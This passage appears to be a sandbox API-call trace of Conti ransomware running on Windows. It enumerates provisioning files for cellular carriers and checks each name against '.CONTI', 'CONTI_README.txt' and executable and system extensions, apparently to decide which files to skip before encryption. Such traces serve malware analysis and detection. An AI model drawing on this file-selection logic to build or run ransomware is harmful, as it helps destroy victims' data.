	[0107.477] GetProcessHeap () returned 0x1720000
	[0107.477] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13a) returned 0x17ca1f8
	[0107.477] lstrcpyW (in: lpString1=0x17ca1f8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0107.477] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0107.477] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="14__Connections_Cellular_Optus (Australia)_i5$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\14__Connections_Cellular_Optus (Australia)_i5$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\14__Connections_Cellular_Optus (Australia)_i5$(__MVID)@WAP.provxml"
	[0107.477] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x905db923, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x905db923, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x905db923, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x356, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="150__Connections_Cellular_E-Plus (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="150__C~1.PRO")) returned 1
	[0107.477] lstrcmpiW (lpString1="150__Connections_Cellular_E-Plus (Germany)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0107.477] lstrcmpiW (lpString1="150__Connections_Cellular_E-Plus (Germany)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0107.477] StrStrIW (lpFirst="150__Connections_Cellular_E-Plus (Germany)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.477] StrStrIW (lpFirst="150__Connections_Cellular_E-Plus (Germany)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.477] StrStrIW (lpFirst="150__Connections_Cellular_E-Plus (Germany)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0107.477] StrStrIW (lpFirst="150__Connections_Cellular_E-Plus (Germany)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0107.477] StrStrIW (lpFirst="150__Connections_Cellular_E-Plus (Germany)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0107.477] StrStrIW (lpFirst="150__Connections_Cellular_E-Plus (Germany)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0107.477] StrStrIW (lpFirst="150__Connections_Cellular_E-Plus (Germany)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.477] StrStrIW (lpFirst="150__Connections_Cellular_E-Plus (Germany)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.477] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0107.477] lstrlenW (lpString="150__Connections_Cellular_E-Plus (Germany)_i0$(__MVID)@WAP.provxml") returned 66
	[0107.477] GetProcessHeap () returned 0x1720000
	[0107.478] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13a) returned 0x17ca340
	[0107.478] lstrcpyW (in: lpString1=0x17ca340, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0107.478] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0107.478] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="150__Connections_Cellular_E-Plus (Germany)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\150__Connections_Cellular_E-Plus (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\150__Connections_Cellular_E-Plus (Germany)_i0$(__MVID)@WAP.provxml"
	[0107.478] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x905db923, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x905db923, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x905db923, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x35f, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="151__Connections_Cellular_Deutsche Telekom (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="151__C~1.PRO")) returned 1
	[0107.478] lstrcmpiW (lpString1="151__Connections_Cellular_Deutsche Telekom (Germany)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0107.478] lstrcmpiW (lpString1="151__Connections_Cellular_Deutsche Telekom (Germany)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0107.478] StrStrIW (lpFirst="151__Connections_Cellular_Deutsche Telekom (Germany)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.478] StrStrIW (lpFirst="151__Connections_Cellular_Deutsche Telekom (Germany)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.478] StrStrIW (lpFirst="151__Connections_Cellular_Deutsche Telekom (Germany)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0107.478] StrStrIW (lpFirst="151__Connections_Cellular_Deutsche Telekom (Germany)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0107.478] StrStrIW (lpFirst="151__Connections_Cellular_Deutsche Telekom (Germany)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0107.478] StrStrIW (lpFirst="151__Connections_Cellular_Deutsche Telekom (Germany)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0107.478] StrStrIW (lpFirst="151__Connections_Cellular_Deutsche Telekom (Germany)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.478] StrStrIW (lpFirst="151__Connections_Cellular_Deutsche Telekom (Germany)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.478] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0107.478] lstrlenW (lpString="151__Connections_Cellular_Deutsche Telekom (Germany)_i0$(__MVID)@WAP.provxml") returned 76
	[0107.478] GetProcessHeap () returned 0x1720000
	[0107.478] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x14e) returned 0x17d13c0
	[0107.478] lstrcpyW (in: lpString1=0x17d13c0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0107.478] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0107.478] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="151__Connections_Cellular_Deutsche Telekom (Germany)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\151__Connections_Cellular_Deutsche Telekom (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\151__Connections_Cellular_Deutsche Telekom (Germany)_i0$(__MVID)@WAP.provxml"
	[0107.478] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90601b92, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90601b92, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90601b92, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d4, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="152__Connections_Cellular_Vodafone.de (Germany)_i0$(__MVID)@WAP.provxml", cAlternateFileName="152__C~1.PRO")) returned 1
	[0107.478] lstrcmpiW (lpString1="152__Connections_Cellular_Vodafone.de (Germany)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0107.478] lstrcmpiW (lpString1="152__Connections_Cellular_Vodafone.de (Germany)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0107.478] StrStrIW (lpFirst="152__Connections_Cellular_Vodafone.de (Germany)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.478] StrStrIW (lpFirst="152__Connections_Cellular_Vodafone.de (Germany)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.478] StrStrIW (lpFirst="152__Connections_Cellular_Vodafone.de (Germany)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0107.478] StrStrIW (lpFirst="152__Connections_Cellular_Vodafone.de (Germany)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0107.478] StrStrIW (lpFirst="152__Connections_Cellular_Vodafone.de (Germany)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0107.479] StrStrIW (lpFirst="152__Connections_Cellular_Vodafone.de (Germany)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0107.479] StrStrIW (lpFirst="152__Connections_Cellular_Vodafone.de (Germany)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.479] StrStrIW (lpFirst="152__Connections_Cellular_Vodafone.de (Germany)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.479] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0107.479] lstrlenW (lpString="152__Connections_Cellular_Vodafone.de (Germany)_i0$(__MVID)@WAP.provxml") returned 71
	[0107.479] GetProcessHeap () returned 0x1720000
	[0107.479] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x144) returned 0x17d1518
	[0107.479] lstrcpyW (in: lpString1=0x17d1518, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0107.479] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0107.479] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="152__Connections_Cellular_Vodafone.de (Germany)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\152__Connections_Cellular_Vodafone.de (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\152__Connections_Cellular_Vodafone.de (Germany)_i0$(__MVID)@WAP.provxml"
	[0107.479] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90601b92, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90601b92, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90601b92, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d8, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="153__Connections_Cellular_Vodafone.de (Germany)_i1$(__MVID)@WAP.provxml", cAlternateFileName="153__C~1.PRO")) returned 1
	[0107.479] lstrcmpiW (lpString1="153__Connections_Cellular_Vodafone.de (Germany)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0107.479] lstrcmpiW (lpString1="153__Connections_Cellular_Vodafone.de (Germany)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0107.479] StrStrIW (lpFirst="153__Connections_Cellular_Vodafone.de (Germany)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.479] StrStrIW (lpFirst="153__Connections_Cellular_Vodafone.de (Germany)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.479] StrStrIW (lpFirst="153__Connections_Cellular_Vodafone.de (Germany)_i1$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0107.479] StrStrIW (lpFirst="153__Connections_Cellular_Vodafone.de (Germany)_i1$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0107.479] StrStrIW (lpFirst="153__Connections_Cellular_Vodafone.de (Germany)_i1$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0107.479] StrStrIW (lpFirst="153__Connections_Cellular_Vodafone.de (Germany)_i1$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0107.479] StrStrIW (lpFirst="153__Connections_Cellular_Vodafone.de (Germany)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.479] StrStrIW (lpFirst="153__Connections_Cellular_Vodafone.de (Germany)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.479] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0107.479] lstrlenW (lpString="153__Connections_Cellular_Vodafone.de (Germany)_i1$(__MVID)@WAP.provxml") returned 71
	[0107.479] GetProcessHeap () returned 0x1720000
	[0107.479] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x144) returned 0x17d0d08
	[0107.479] lstrcpyW (in: lpString1=0x17d0d08, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0107.479] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0107.479] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="153__Connections_Cellular_Vodafone.de (Germany)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\153__Connections_Cellular_Vodafone.de (Germany)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\153__Connections_Cellular_Vodafone.de (Germany)_i1$(__MVID)@WAP.provxml"
	[0107.479] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90601b92, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90601b92, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90601b92, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="154__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="154__C~1.PRO")) returned 1
	[0107.479] lstrcmpiW (lpString1="154__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".") returned 1
	[0107.480] lstrcmpiW (lpString1="154__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2="..") returned 1
	[0107.480] StrStrIW (lpFirst="154__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0107.480] StrStrIW (lpFirst="154__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.480] StrStrIW (lpFirst="154__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".exe") returned 0x0
	[0107.480] StrStrIW (lpFirst="154__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".dll") returned 0x0
	[0107.480] StrStrIW (lpFirst="154__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".lnk") returned 0x0
	[0107.480] StrStrIW (lpFirst="154__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".sys") returned 0x0
	[0107.480] StrStrIW (lpFirst="154__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0107.480] StrStrIW (lpFirst="154__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.480] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0107.480] lstrlenW (lpString="154__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned 53
	[0107.480] GetProcessHeap () returned 0x1720000
	[0107.480] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x120) returned 0x17c3dc0
	[0107.480] lstrcpyW (in: lpString1=0x17c3dc0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0107.480] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0107.480] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="154__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\154__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\154__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0107.480] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90601b92, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90601b92, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90601b92, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cb, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="155__Connections_Cellular_Vodafone Ghana (Ghana)_i0$(__MVID)@WAP.provxml", cAlternateFileName="155__C~1.PRO")) returned 1
	[0107.480] lstrcmpiW (lpString1="155__Connections_Cellular_Vodafone Ghana (Ghana)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0107.480] lstrcmpiW (lpString1="155__Connections_Cellular_Vodafone Ghana (Ghana)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0107.480] StrStrIW (lpFirst="155__Connections_Cellular_Vodafone Ghana (Ghana)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.480] StrStrIW (lpFirst="155__Connections_Cellular_Vodafone Ghana (Ghana)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.480] StrStrIW (lpFirst="155__Connections_Cellular_Vodafone Ghana (Ghana)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0107.480] StrStrIW (lpFirst="155__Connections_Cellular_Vodafone Ghana (Ghana)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0107.480] StrStrIW (lpFirst="155__Connections_Cellular_Vodafone Ghana (Ghana)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0107.480] StrStrIW (lpFirst="155__Connections_Cellular_Vodafone Ghana (Ghana)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0107.480] StrStrIW (lpFirst="155__Connections_Cellular_Vodafone Ghana (Ghana)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0107.480] StrStrIW (lpFirst="155__Connections_Cellular_Vodafone Ghana (Ghana)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.481] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0107.481] lstrlenW (lpString="155__Connections_Cellular_Vodafone Ghana (Ghana)_i0$(__MVID)@WAP.provxml") returned 72
	[0107.481] GetProcessHeap () returned 0x1720000
	[0107.481] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x146) returned 0x17d0900
	[0107.481] lstrcpyW (in: lpString1=0x17d0900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0107.481] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0107.481] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="155__Connections_Cellular_Vodafone Ghana (Ghana)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\155__Connections_Cellular_Vodafone Ghana (Ghana)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\155__Connections_Cellular_Vodafone Ghana (Ghana)_i0$(__MVID)@WAP.provxml"
	[0107.481] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90601b92, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90601b92, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90601b92, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="156__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="156__C~1.PRO")) returned 1
	[0107.481] lstrcmpiW (lpString1="156__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".") returned 1
	[0107.481] lstrcmpiW (lpString1="156__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2="..") returned 1
	[0107.481] StrStrIW (lpFirst="156__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0107.481] StrStrIW (lpFirst="156__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0107.481] StrStrIW (lpFirst="156__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".exe") returned 0x0
